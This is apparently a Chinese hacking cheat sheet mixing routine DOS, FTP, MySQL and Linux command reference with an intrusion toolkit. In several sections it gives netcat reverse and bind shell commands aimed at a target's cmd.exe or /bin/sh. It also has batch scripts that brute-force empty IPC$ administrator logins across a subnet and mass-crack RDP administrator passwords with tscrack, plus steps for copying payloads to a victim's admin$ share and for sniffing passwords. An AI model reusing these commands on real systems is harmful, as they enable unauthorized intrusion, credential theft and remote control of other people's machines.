<p>del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，&quot;&gt; &quot;和&quot;&gt; &gt;&quot; 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at <a href="file://\\ip">\\ip</a> time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe <a href="file://\\ip\admin$">\\ip\admin$</a> 复制本地c:\srv.exe到对方的admin下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy <a href="file://\\ip\admin$\svv.exe">\\ip\admin$\svv.exe</a> c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将&ldquo;IP&rdquo;的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即&ldquo;DATE/T&rdquo;、&ldquo;TIME/T&rdquo;将只显示当前日期和时间，而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：&ldquo;：start&rdquo;标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将&quot;信息&quot;保存到pass.txt文件中 <br />findstr &quot;Hello&quot; aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )</p>
<p>#3 三：</p>
<p>ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）&mdash;&mdash;针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况</p>
<p>#4 四：</p>
<p>IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip</p>
<p>#5 五：</p>
<p>MYSQL 命令： <br />mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />（例：mysql -h110.110.110.110 -Uroot -P123456 <br />注:u与root可以不用加空格，其它也一样） <br />exit 退出MYSQL <br />mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 <br />grant select on 数据库.* to 用户名@登录主机 identified by \&quot;密码\&quot;; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />use mysql；<br />show tables; 显示库中的数据表 <br />describe 表名; 显示数据表的结构 <br />create database 库名; 建库 <br />use 库名；<br />create table 表名 (字段设定列表)； 建表 <br />drop database 库名; <br />drop table 表名； 删库和删表 <br />delete from 表名; 将表中记录清空 <br />select * from 表名; 显示表中的记录 <br />mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的<a href="file://\\mysql\\bin">\\mysql\\bin</a>目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />win2003系统下新增命令（实用部份）： <br />shutdown /参数 关闭或重启本地或远程主机。<br />参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />例：shutdown /r /t 0 立即重启本地主机（无延时） <br />taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。</p>
<p>#6 六：</p>
<p>Linux系统下基本命令： 要区分大小写 <br />uname 显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） </p>
<p>附：批处理命令与变量</p>
<p>1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0&mdash;%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2&mdash;%9指输入的第2-9个值；例：net use <a href="file://\\ip\ipc$">\\ip\ipc$</a> pass /user:user 中ip为%1,pass为%2 ,user为%3</p>
<p>(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ &ldquo;(1 1 254)&rdquo;第一个&quot;1&quot;指起始值，第二个&quot;1&quot;指增长量，第三个&quot;254&quot;指结束值，即：从1到254；&ldquo;(1 -1 254)&rdquo;说明：即从254到1 }</p>
<p>command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关</p>
<p>IN (set)：指在(set)中取值；DO command ：指执行command</p>
<p>参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt </p>
<p>for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use <a href="file://\\%1.%%G">\\%1.%%G</a> /user:administrator | find &quot;命令成功完成&quot; &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。</p>
<p>/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有&quot;命令成功完成&quot;信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</p>
<p>#7 七：</p>
<p>2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为&ldquo;真&rdquo;。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：&ldquo;if &quot;%2%&quot;==&quot;4&quot; goto start&rdquo;指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加&quot; &quot;） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：&ldquo;if not nc.exe goto end&rdquo;指：如果没有发现nc.exe文件就跳到&quot;:end&quot;标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：&ldquo;if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing &rdquo;，注意命令中的&ldquo;.&rdquo; </p>
<p>（二）系统外部命令(均需下载相关工具)：</p>
<p>1、瑞士军刀：nc.exe</p>
<p>参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。&ldquo;&lt;&rdquo;，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　&quot;&gt;&quot;指：覆盖；&quot;&gt;&gt;&quot;指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。</p>
<p>#8 八：</p>
<p>2、扫锚工具：xscan.exe</p>
<p>基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚&quot;起始IP到终止IP&quot;段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚&quot;主机IP列表文件名&quot;中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过&quot;-l&quot;参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测&ldquo;hostlist.txt&rdquo;文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机</p>
<p>#9 九：</p>
<p>3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 </p>
<p>4、终端服务密码破解: tscrack.exe</p>
<p>参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f &quot;tokens=1 delims= &quot; %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 </p>
<p>5、其它：</p>
<p>Shutdown.exe <br />Shutdown <a href="file://\\IP">\\IP</a>地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 <a href="http://www.sina.com.cn">www.sina.com.cn</a> 当有人扫锚你的80端口时，他扫到的结果会完全是<a href="http://www.sina.com.cn">www.sina.com.cn</a>的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe <a href="file://\\IP">\\IP</a> 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet <a href="file://\\ip">\\ip</a> 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。</p>
<p>ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe <a href="file://\\IP">\\IP</a>　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。</p>
<p>#10 十：</p>
<p>6、FTP命令详解：</p>
<p>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。</p>
<p>FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中</p>
<p>-v 显示远程服务器的所有响应信息；</p>
<p>-n 限制ftp的自动登录，即不使用；.n etrc文件；</p>
<p>-d 使用调试方式；</p>
<p>-g 取消全局文件名。</p>
<p>FTP使用的内部命令如下(中括号表示可选项):</p>
<p>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。</p>
<p>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。</p>
<p>5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。</p>
<p>7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。</p>
<p>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。</p>
<p>11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。</p>
<p>13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。</p>
<p>15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。</p>
<p>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。</p>
<p>19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。</p>
<p>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。</p>
<p>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。</p>
<p>25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。</p>
<p>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。</p>
<p>29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。</p>
<p>31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。</p>
<p>33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。</p>
<p>35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。</p>
<p>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。</p>
<p>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。</p>
<p>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。</p>
<p>43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。</p>
<p>47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.</p>
<p>49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。</p>
<p>51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。</p>
<p>53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。</p>
<p>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。</p>
<p>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。</p>
<p>59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。</p>
<p>61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。</p>
